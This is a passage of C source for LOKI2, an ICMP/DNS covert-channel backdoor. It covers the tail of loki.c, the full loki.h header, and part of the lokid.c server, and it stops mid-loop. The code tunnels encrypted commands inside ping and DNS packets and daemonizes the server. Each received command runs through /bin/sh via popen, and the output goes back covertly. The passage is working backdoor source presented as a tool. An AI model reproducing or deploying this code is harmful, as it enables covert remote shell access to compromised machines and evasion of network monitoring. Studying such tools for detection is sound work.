|||
|
fprintf(stderr, "Unrecognized command %s\n",buf);
|
|||
|
return (NOK);
|
|||
|
}
|
|||
|
|
|||
|
return (OK);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Dumps packets read by client...
|
|||
|
*/
|
|||
|
|
|||
|
void packets_read()
|
|||
|
{
|
|||
|
fprintf(stderr, "Packets read: %ld\n", p_read);
|
|||
|
}
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> loki.c
|
|||
|
<++> L2/loki.h
|
|||
|
#ifndef __LOKI_H__
|
|||
|
#define __LOKI_H__
|
|||
|
|
|||
|
/*
|
|||
|
* LOKI
|
|||
|
*
|
|||
|
* loki header file
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <stdlib.h>
|
|||
|
#include <string.h>
|
|||
|
#include <signal.h>
|
|||
|
#include <pwd.h>
|
|||
|
#include <unistd.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <arpa/inet.h>
|
|||
|
#include <netdb.h>
|
|||
|
#include <sys/socket.h>
|
|||
|
#include <sys/ioctl.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <sys/wait.h>
|
|||
|
#include <fcntl.h>
|
|||
|
#include <time.h>
|
|||
|
#include <grp.h>
|
|||
|
#include <termios.h>
|
|||
|
#include <sys/ipc.h>
|
|||
|
#include <sys/sem.h>
|
|||
|
#include <sys/shm.h>
|
|||
|
#include <setjmp.h>
|
|||
|
|
|||
|
#ifdef LINUX
|
|||
|
#include <linux/icmp.h>
|
|||
|
#include <linux/ip.h>
|
|||
|
#include <linux/signal.h>
|
|||
|
/* BSDish nomenclature */
|
|||
|
#define ip iphdr
|
|||
|
#define ip_v version
|
|||
|
#define ip_hl ihl
|
|||
|
#define ip_len tot_len
|
|||
|
#define ip_ttl ttl
|
|||
|
#define ip_p protocol
|
|||
|
#define ip_dst daddr
|
|||
|
#define ip_src saddr
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef BSD4
|
|||
|
#include <netinet/in_systm.h>
|
|||
|
#include <netinet/ip_var.h>
|
|||
|
#include <netinet/ip.h>
|
|||
|
#include <netinet/tcp.h>
|
|||
|
#include <netinet/tcpip.h>
|
|||
|
#include <netinet/ip_icmp.h>
|
|||
|
#include <netinet/icmp_var.h>
|
|||
|
#include <sys/sockio.h>
|
|||
|
#include <sys/termios.h>
|
|||
|
#include <sys/signal.h>
|
|||
|
|
|||
|
#undef icmp_id
|
|||
|
#undef icmp_seq
|
|||
|
#define ip_dst ip_dst.s_addr
|
|||
|
#define ip_src ip_src.s_addr
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef SOLARIS
|
|||
|
#include <netinet/in_systm.h>
|
|||
|
#include <netinet/in.h>
|
|||
|
#include <netinet/ip_var.h>
|
|||
|
#include <netinet/ip.h>
|
|||
|
#include <netinet/tcp.h>
|
|||
|
#include <netinet/tcpip.h>
|
|||
|
#include <netinet/ip_icmp.h>
|
|||
|
#include <netinet/icmp_var.h>
|
|||
|
#include <sys/sockio.h>
|
|||
|
#include <sys/termios.h>
|
|||
|
#include <sys/signal.h>
|
|||
|
#include <strings.h>
|
|||
|
#include <unistd.h>
|
|||
|
|
|||
|
#undef icmp_id
|
|||
|
#undef icmp_seq
|
|||
|
#define ip_dst ip_dst.s_addr
|
|||
|
#define ip_src ip_src.s_addr
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef BROKEN_IP_LEN
|
|||
|
#define FIX_LEN(n) (x) /* FreeBSD needs this */
|
|||
|
#else
|
|||
|
#define FIX_LEN(n) htons(n)
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Net/3 will not pass ICMP_ECHO packets to user processes.
|
|||
|
*/
|
|||
|
|
|||
|
#ifdef NET3
|
|||
|
#define D_P_TYPE ICMP_ECHO
|
|||
|
#define C_P_TYPE ICMP_ECHOREPLY
|
|||
|
#else
|
|||
|
#define D_P_TYPE ICMP_ECHOREPLY
|
|||
|
#define C_P_TYPE ICMP_ECHO
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
#include "/usr/local/ssl/include/blowfish.h"
|
|||
|
#include "/usr/local/ssl/include/bn.h"
|
|||
|
#include "/usr/local/ssl/include/dh.h"
|
|||
|
#include "/usr/local/ssl/include/buffer.h"
|
|||
|
|
|||
|
#define BF_KEYSIZE 16 /* blowfish key in bytes */
|
|||
|
#define IVEC_SIZE 7 /* I grabbed this outta thin air. */
|
|||
|
#define BN2BIN_SIZE 48 /* bn2bin byte-size of 384-bit prime */
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
#define CRYPTO_TYPE "blowfish"
|
|||
|
#endif
|
|||
|
#ifdef WEAK_CRYPTO
|
|||
|
#define CRYPTO_TYPE "XOR"
|
|||
|
#endif
|
|||
|
#ifdef NO_CRYPTO
|
|||
|
#define CRYPTO_TYPE "none"
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
/* Start user configurable options */
|
|||
|
|
|||
|
#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
|
|||
|
#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
|
|||
|
#define MAX_CLIENT 0xa /* maximum server-side client count */
|
|||
|
#define KEY_TIMER 0xe10 /* maximum server-side idle client TTL */
|
|||
|
|
|||
|
/* End user configurable options */
|
|||
|
|
|||
|
|
|||
|
|
|||
|
#define VERSION "2.0"
|
|||
|
#define BUFSIZE 0x38 /* We build packets with a fixed payload.
|
|||
|
* Fine for ICMP_ECHO/ECHOREPLY packets as they
|
|||
|
* often default to a 56 byte payload. However
|
|||
|
* DNS query/reply packets have no set size and
|
|||
|
* are generally oddly sized with no padding.
|
|||
|
*/
|
|||
|
|
|||
|
#define ICMPH_SIZE 8
|
|||
|
#define UDPH_SIZE 8
|
|||
|
#define NL_PORT htons(0x35)
|
|||
|
|
|||
|
#define PROMPT "loki> "
|
|||
|
#define ENCR 1 /* symbolic for encrypt */
|
|||
|
#define DECR 0 /* symbolic for decrypt */
|
|||
|
#define NOCR 1 /* don't encrypt this packet */
|
|||
|
#define OKCR 0 /* encrypt this packet */
|
|||
|
#define OK 1 /* Positive acknowledgement */
|
|||
|
#define NOK 0 /* Negative acknowledgement */
|
|||
|
#define NNOK -1 /* Really negative acknowledgement */
|
|||
|
#define FIND 1 /* Controls locate_client */
|
|||
|
#define DESTROY 2 /* disposition */
|
|||
|
|
|||
|
/* LOKI packet type symbolics */
|
|||
|
|
|||
|
#define L_TAG 0xf001 /* Tags packets as LOKI */
|
|||
|
#define L_PK_REQ 0xa1 /* Public Key request packet */
|
|||
|
#define L_PK_REPLY 0xa2 /* Public Key reply packet */
|
|||
|
#define L_EOK 0xa3 /* Encrypted ok */
|
|||
|
#define L_REQ 0xb1 /* Standard reuqest packet */
|
|||
|
#define L_REPLY 0xb2 /* Standard reply packet */
|
|||
|
#define L_ERR 0xc1 /* Error of some kind */
|
|||
|
#define L_ACK 0xd1 /* Acknowledgement */
|
|||
|
#define L_QUIT 0xd2 /* Receiver should exit */
|
|||
|
#define L_EOT 0xf1 /* End Of Transmission packet */
|
|||
|
|
|||
|
/* Packet type printing macro */
|
|||
|
|
|||
|
#ifdef DEBUG
|
|||
|
#define PACKET_TYPE(ldg)\
|
|||
|
\
|
|||
|
if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
|
|||
|
else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
|
|||
|
else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
|
|||
|
else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
|
|||
|
else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
|
|||
|
else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
|
|||
|
else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
|
|||
|
else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
|
|||
|
else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
|
|||
|
else fprintf(stderr, "Unknown"); \
|
|||
|
if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
|
|||
|
else fprintf(stderr, "\n");\
|
|||
|
|
|||
|
#define DUMP_PACKET(ldg, i)\
|
|||
|
\
|
|||
|
for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
|
|||
|
fprintf(stderr, "\n");\
|
|||
|
|
|||
|
#endif
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Escaped commands (not interpreted by the shell)
|
|||
|
*/
|
|||
|
|
|||
|
#define HELP "/help" /* Help me */
|
|||
|
#define TIMER "/timer" /* Change the client side timer */
|
|||
|
#define QUIT_C "/quit" /* Quit the client */
|
|||
|
#define QUIT_ALL "/quit all" /* Kill all clients and server */
|
|||
|
#define STAT_C "/stat" /* Stat the client */
|
|||
|
#define STAT_ALL "/stat all" /* Stat all the clients */
|
|||
|
#define SWAP_T "/swapt" /* Swap protocols */
|
|||
|
#define REDIR_C "/redirect" /* Redirect to another client */
|
|||
|
#define PROXY_D "/proxy" /* Proxy to another server */
|
|||
|
|
|||
|
/*
|
|||
|
* Control flag symbolics
|
|||
|
*/
|
|||
|
|
|||
|
#define TERMINATE 0x01
|
|||
|
#define TRAP 0x02
|
|||
|
#define VALIDC 0x04
|
|||
|
#define VALIDP 0x08
|
|||
|
#define NEWTRANS 0x10
|
|||
|
#define REDIRECT 0x20
|
|||
|
#define PROXY 0x40
|
|||
|
#define SENDKILL 0x80
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Message Strings
|
|||
|
* L_ == common to both server and client
|
|||
|
* S_ == specific to server
|
|||
|
* C_ == specific to client
|
|||
|
*/
|
|||
|
|
|||
|
#define L_MSG_BANNER "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
|
|||
|
#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
|
|||
|
#define L_MSG_SOCKET "[fatal] socket allocation error"
|
|||
|
#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
|
|||
|
#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
|
|||
|
#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
|
|||
|
#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
|
|||
|
#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
|
|||
|
#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
|
|||
|
#define L_MSG_SIGCHLD "[fatal] cannot catch SIGCHLD"
|
|||
|
#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
|
|||
|
#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
|
|||
|
#define S_MSG_UNKNOWN "\nlokid: cannot locate client entry in database\n"
|
|||
|
#define S_MSG_UNSUP "\nlokid: unsupported or unknown command string\n"
|
|||
|
#define S_MSG_ICMPONLY "\nlokid: ICMP protocol only with strong cryptography\n"
|
|||
|
#define S_MSG_CLIENTK "\nlokid: clean exit (killed at client request)\n"
|
|||
|
#define S_MSG_DUP "\nlokid: duplicate client entry found, updating\n"
|
|||
|
#define S_MSG_USAGE "\nlokid -p (i|u) [ -v (0|1) ]\n"
|
|||
|
#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
|
|||
|
#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
|
|||
|
#define C_MSG_NOSWAP "\nloki: cannot swap protocols with strong crypto\n"
|
|||
|
#define C_MSG_PKREQ "loki: requesting public from server\n"
|
|||
|
#define C_MSG_PKREC "loki: received public key, computing shared secret\n"
|
|||
|
#define C_MSG_SKSET "loki: extracting and setting expanded blowfish key\n"
|
|||
|
#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"
|
|||
|
|
|||
|
/*
|
|||
|
* Macros to evaluate packets to determine if they are LOKI or not.
|
|||
|
* These are UGLY.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* ICMP_ECHO client packet check
|
|||
|
*/
|
|||
|
|
|||
|
#define IS_GOOD_ITYPE_C(ldg)\
|
|||
|
\
|
|||
|
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
|
|||
|
ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
|
|||
|
ldg.ttype.icmph.icmp_id == loki_id &&\
|
|||
|
ldg.ttype.icmph.icmp_seq == L_TAG &&\
|
|||
|
(ldg.payload[0] == L_REPLY ||\
|
|||
|
ldg.payload[0] == L_PK_REPLY ||\
|
|||
|
ldg.payload[0] == L_EOT ||\
|
|||
|
ldg.payload[0] == L_QUIT ||\
|
|||
|
ldg.payload[0] == L_ERR)) ==\
|
|||
|
(1) ? (1) : (0)\
|
|||
|
/*
|
|||
|
* ICMP_ECHO daemon packet check
|
|||
|
*/
|
|||
|
|
|||
|
#define IS_GOOD_ITYPE_D(ldg)\
|
|||
|
\
|
|||
|
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
|
|||
|
ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
|
|||
|
ldg.ttype.icmph.icmp_seq == L_TAG &&\
|
|||
|
(ldg.payload[0] == L_REQ ||\
|
|||
|
ldg.payload[0] == L_QUIT ||\
|
|||
|
ldg.payload[0] == L_PK_REQ)) ==\
|
|||
|
(1) ? (1) : (0)\
|
|||
|
/*
|
|||
|
* UDP client packet check
|
|||
|
*/
|
|||
|
|
|||
|
#define IS_GOOD_UTYPE_C(ldg)\
|
|||
|
\
|
|||
|
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
|
|||
|
ldg.ttype.udph.uh_sport == NL_PORT &&\
|
|||
|
ldg.ttype.udph.uh_dport == loki_id &&\
|
|||
|
(ldg.payload[0] == L_REPLY ||\
|
|||
|
ldg.payload[0] == L_EOT ||\
|
|||
|
ldg.payload[0] == L_QUIT ||\
|
|||
|
ldg.payload[0] == L_ERR)) ==\
|
|||
|
(1) ? (1) : (0)\
|
|||
|
/*
|
|||
|
* UDP daemon packet check. Yikes. We need more info here.
|
|||
|
*/
|
|||
|
|
|||
|
#define IS_GOOD_UTYPE_D(ldg)\
|
|||
|
\
|
|||
|
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
|
|||
|
ldg.ttype.udph.uh_dport == NL_PORT &&\
|
|||
|
(ldg.payload[0] == L_QUIT ||\
|
|||
|
ldg.payload[0] == L_REQ)) ==\
|
|||
|
(1) ? (1) : (0)\
|
|||
|
/*
|
|||
|
* ICMP_ECHO / ICMP_ECHOREPLY header prototype
|
|||
|
*/
|
|||
|
|
|||
|
struct icmp_echo
|
|||
|
{
|
|||
|
u_char icmp_type; /* 1 byte type */
|
|||
|
u_char icmp_code; /* 1 byte code */
|
|||
|
u_short icmp_cksum; /* 2 byte checksum */
|
|||
|
u_short icmp_id; /* 2 byte identification */
|
|||
|
u_short icmp_seq; /* 2 byte sequence number */
|
|||
|
};
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* UDP header prototype
|
|||
|
*/
|
|||
|
|
|||
|
struct udp
|
|||
|
{
|
|||
|
u_short uh_sport; /* 2 byte source port */
|
|||
|
u_short uh_dport; /* 2 byte destination port */
|
|||
|
u_short uh_ulen; /* 2 byte length */
|
|||
|
u_short uh_sum; /* 2 byte checksum */
|
|||
|
};
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* LOKI packet prototype
|
|||
|
*/
|
|||
|
|
|||
|
struct loki
|
|||
|
{
|
|||
|
struct ip iph; /* IP header */
|
|||
|
union
|
|||
|
{
|
|||
|
struct icmp_echo icmph; /* ICMP header */
|
|||
|
struct udp udph; /* UDP header */
|
|||
|
}ttype;
|
|||
|
u_char payload[BUFSIZE]; /* data payload */
|
|||
|
};
|
|||
|
|
|||
|
#define LOKIP_SIZE sizeof(struct loki)
|
|||
|
#define LP_DST rdg.iph.ip_src
|
|||
|
|
|||
|
void blur(int, int, u_char *); /* Symmetric encryption function */
|
|||
|
char *host_lookup(u_long); /* network byte -> human readable */
|
|||
|
u_long name_resolve(char *); /* human readable -> network byte */
|
|||
|
u_short i_check(u_short *, int); /* Ah yes, the IP family checksum */
|
|||
|
int c_parse(u_char *, int *); /* parse escaped commands [client] */
|
|||
|
void d_parse(u_char *, pid_t, int); /* parse escaped commands [server] */
|
|||
|
/* build and transmit LOKI packets */
|
|||
|
void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
|
|||
|
int lokid_xmit(u_char *, u_long, int, int);
|
|||
|
void err_exit(int, int, int, char *); /* handle exit with reason */
|
|||
|
void clean_exit(int); /* exit cleanly */
|
|||
|
void help(); /* lala */
|
|||
|
void shadow(); /* daemonizing routine */
|
|||
|
void swap_t(int); /* swap protocols [server-side] */
|
|||
|
void reaper(int); /* prevent zombies */
|
|||
|
void catch_timeout(int); /* ALARM signal catcher */
|
|||
|
void client_expiry_check(); /* expire client from shm */
|
|||
|
void prep_shm(); /* Prepare shm ans semaphore */
|
|||
|
void dump_shm(); /* detach shm */
|
|||
|
void packets_read(); /* packets read (client) */
|
|||
|
void fd_status(int, int); /* dumps fd stats */
|
|||
|
#ifdef PTY
|
|||
|
int ptym_open(char *);
|
|||
|
int ptys_open(int, char *);
|
|||
|
pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
|
|||
|
#endif
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
DH* generate_dh_keypair(); /* generate DH params and keypair */
|
|||
|
u_char *extract_bf_key(u_char *, int); /* extract and md5 and set bf key */
|
|||
|
#endif
|
|||
|
|
|||
|
#endif /* __LOKI_H__ */
|
|||
|
<--> loki.h
|
|||
|
<++> L2/lokid.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ lokid.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
#include "client_db.h"
|
|||
|
#include "shm.h"
|
|||
|
|
|||
|
jmp_buf env; /* holds our stack frame */
|
|||
|
struct loki sdg, rdg; /* LOKI packets */
|
|||
|
time_t uptime = 0; /* server uptime */
|
|||
|
u_long b_sent = 0, p_sent = 0; /* bytes / packets written */
|
|||
|
u_short c_id = 0; /* client id */
|
|||
|
int destroy_shm = NOK; /* Used to mark whether or not
|
|||
|
* a process should destroy the
|
|||
|
* shm segment upon exiting.
|
|||
|
*/
|
|||
|
int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
extern u_char user_key[BF_KEYSIZE];
|
|||
|
extern BF_KEY bf_key;
|
|||
|
extern u_short ivec_salt;
|
|||
|
DH *dh_keypair = NULL; /* DH public and private key */
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef PTY
|
|||
|
int mfd = 0; /* master PTY file descriptor */
|
|||
|
#endif
|
|||
|
|
|||
|
int main(int argc, char *argv[])
|
|||
|
{
|
|||
|
|
|||
|
static int one = 1, c = 0, cflags = 0;
|
|||
|
u_char buf1[BUFSIZE] = {0};
|
|||
|
pid_t pid = 0;
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
static int c_ind = -1;
|
|||
|
#endif
|
|||
|
#ifdef POPEN
|
|||
|
FILE *job = NULL;
|
|||
|
char buf2[BUFSIZE] = {0};
|
|||
|
#endif
|
|||
|
/* ensure we have proper permissions */
|
|||
|
if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
|
|||
|
while ((c = getopt(argc, argv, "v:p:")) != EOF)
|
|||
|
{
|
|||
|
switch (c)
|
|||
|
{
|
|||
|
case 'v': /* change verbosity */
|
|||
|
verbose = atoi(optarg);
|
|||
|
break;
|
|||
|
|
|||
|
case 'p': /* choose transport protocol */
|
|||
|
switch (optarg[0])
|
|||
|
{
|
|||
|
case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
|
|||
|
prot = IPPROTO_ICMP;
|
|||
|
break;
|
|||
|
|
|||
|
case 'u': /* DNS query / reply */
|
|||
|
prot = IPPROTO_UDP;
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(1, 0, 1, "Unknown transport\n");
|
|||
|
}
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(0, 0, 1, S_MSG_USAGE);
|
|||
|
}
|
|||
|
}
|
|||
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|||
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|||
|
#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */
|
|||
|
if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
|
|||
|
#else
|
|||
|
/* Child will signal parent if a
|
|||
|
* transport protcol switch is
|
|||
|
* required
|
|||
|
*/
|
|||
|
if (signal(SIGUSR1, swap_t) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGUSR1);
|
|||
|
#endif
|
|||
|
|
|||
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|||
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|||
|
#ifdef DEBUG
|
|||
|
fprintf(stderr, "\nRaw IP socket: ");
|
|||
|
fd_status(ripsock, OK);
|
|||
|
#endif
|
|||
|
|
|||
|
#ifdef IP_HDRINCL
|
|||
|
if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
|
|||
|
if (verbose) perror("Cannot set IP_HDRINCL socket option");
|
|||
|
#endif
|
|||
|
/* power up shared memory segment and
|
|||
|
* semaphore, register dump_shm to be
|
|||
|
* called upon exit
|
|||
|
*/
|
|||
|
prep_shm();
|
|||
|
if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
|
|||
|
|
|||
|
fprintf(stderr, L_MSG_BANNER);
|
|||
|
time(&uptime); /* server uptime timer */
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* Generate DH parameters */
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN);
|
|||
|
if (!(dh_keypair = generate_dh_keypair()))
|
|||
|
err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: done.\n");
|
|||
|
#endif
|
|||
|
#ifndef DEBUG
|
|||
|
shadow(); /* go daemon */
|
|||
|
#endif
|
|||
|
destroy_shm = OK; /* if this process exits at any point
|
|||
|
* from hereafter, mark shm as destroyed
|
|||
|
*/
|
|||
|
/* Every KEY_TIMER seconds, we should
|
|||
|
* check the client_key list and see
|
|||
|
* if any entries have been idle long
|
|||
|
* enough to expire them.
|
|||
|
*/
|
|||
|
if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|||
|
alarm(KEY_TIMER);
|
|||
|
|
|||
|
if (signal(SIGCHLD, reaper) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGCHLD);
|
|||
|
|
|||
|
for (; ;)
|
|||
|
{
|
|||
|
cflags &= ~VALIDP; /* Blocking read */
|
|||
|
c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);
|
|||
|
|
|||
|
switch (prot)
|
|||
|
{ /* Is this a valid Loki packet? */
|
|||
|
case IPPROTO_ICMP:
|
|||
|
if ((IS_GOOD_ITYPE_D(rdg)))
|
|||
|
{
|
|||
|
cflags |= VALIDP;
|
|||
|
c_id = rdg.ttype.icmph.icmp_id;
|
|||
|
}
|
|||
|
break;
|
|||
|
|
|||
|
case IPPROTO_UDP:
|
|||
|
if ((IS_GOOD_UTYPE_D(rdg)))
|
|||
|
{
|
|||
|
cflags |= VALIDP;
|
|||
|
c_id = rdg.ttype.udph.uh_sport;
|
|||
|
}
|
|||
|
break;
|
|||
|
|
|||
|
default:
|
|||
|
err_exit(1, 0, verbose, L_MSG_WIERDERR);
|
|||
|
}
|
|||
|
if (cflags & VALIDP)
|
|||
|
{
|
|||
|
#ifdef DEBUG
|
|||
|
fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
|
|||
|
PACKET_TYPE(rdg);
|
|||
|
DUMP_PACKET(rdg, c);
|
|||
|
#endif
|
|||
|
switch (pid = fork())
|
|||
|
{
|
|||
|
case 0:
|
|||
|
destroy_shm = NOK; /* child should NOT mark segment as
|
|||
|
* destroyed when exiting...
|
|||
|
*/
|
|||
|
/* TLI seems to have problems in
|
|||
|
* passing socket file desciptors around
|
|||
|
*/
|
|||
|
#ifdef SOLARIS
|
|||
|
close(ripsock);
|
|||
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|||
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|||
|
#ifdef DEBUG
|
|||
|
fprintf(stderr, "\nRaw IP socket: ");
|
|||
|
fd_status(ripsock, OK);
|
|||
|
#endif /* DEBUG */
|
|||
|
#endif /* SOLARIS */
|
|||
|
break;
|
|||
|
|
|||
|
default: /* parent will loop forever spawning
|
|||
|
* children if we do not zero rdg
|
|||
|
*/
|
|||
|
bzero((struct loki *)&rdg, LOKIP_SIZE);
|
|||
|
cflags &= ~VALIDP;
|
|||
|
continue;
|
|||
|
|
|||
|
case -1: /* fork error */
|
|||
|
err_exit(1, 1, verbose, "[fatal] forking error");
|
|||
|
}
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* preliminary evaluation of the pkt
|
|||
|
* to see if we have a request for the
|
|||
|
* servers public key
|
|||
|
*/
|
|||
|
if (rdg.payload[0] == L_PK_REQ)
|
|||
|
{
|
|||
|
if (verbose)
|
|||
|
{
|
|||
|
fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id);
|
|||
|
fprintf(stderr, "\nlokid: computing shared secret");
|
|||
|
}
|
|||
|
DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
|
|||
|
/* Try to add client to client list */
|
|||
|
if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
|
|||
|
{
|
|||
|
#else
|
|||
|
if (((c = add_client((u_char *)NULL)) == -1))
|
|||
|
{
|
|||
|
#endif /* MAX_CLIENT limit reached */
|
|||
|
lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
|
|||
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|||
|
err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
|
|||
|
}
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
if (verbose)
|
|||
|
{
|
|||
|
fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
|
|||
|
fprintf(stderr, "\nlokid: submiting my public key to client");
|
|||
|
} /* send our public key to the client */
|
|||
|
bzero((u_char *)buf1, BUFSIZE);
|
|||
|
BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);
|
|||
|
|
|||
|
lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
|
|||
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
bzero((u_char *)buf1, BUFSIZE);
|
|||
|
/* Control falls here when we have
|
|||
|
* a regular request packet.
|
|||
|
*/
|
|||
|
if ((c_ind = locate_client(FIND)) == -1)
|
|||
|
{ /* Cannot locate the client's entry */
|
|||
|
lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
|
|||
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|||
|
err_exit(1, 0, verbose, S_MSG_UNKNOWN);
|
|||
|
} /* set expanded blowfish key */
|
|||
|
else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
|
|||
|
#endif
|
|||
|
/* unload payload */
|
|||
|
bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
/* The IV salt is incremented in the
|
|||
|
* client prior to encryption, ergo
|
|||
|
* the server should increment before
|
|||
|
* decrypting
|
|||
|
*/
|
|||
|
ivec_salt = update_client_salt(c_ind);
|
|||
|
#endif
|
|||
|
blur(DECR, BUFSIZE - 1, buf1);
|
|||
|
/* parse escaped command */
|
|||
|
if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
|
|||
|
#ifdef POPEN /* popen the shell command and execute
|
|||
|
* it inside of /bin/sh
|
|||
|
*/
|
|||
|
if (!(job = popen(buf1, "r")))
|
|||
|
err_exit(1, 1, verbose, "\nlokid: popen");
|
|||
|
|
|||
|
while (fgets(buf2, BUFSIZE - 1, job))
|
|||
|
{
|
|||
|
bcopy(buf2, buf1, BUFSIZE);
|
|||
|
lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
|
|||
|
}
|
|||
|
lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
|
|||
|
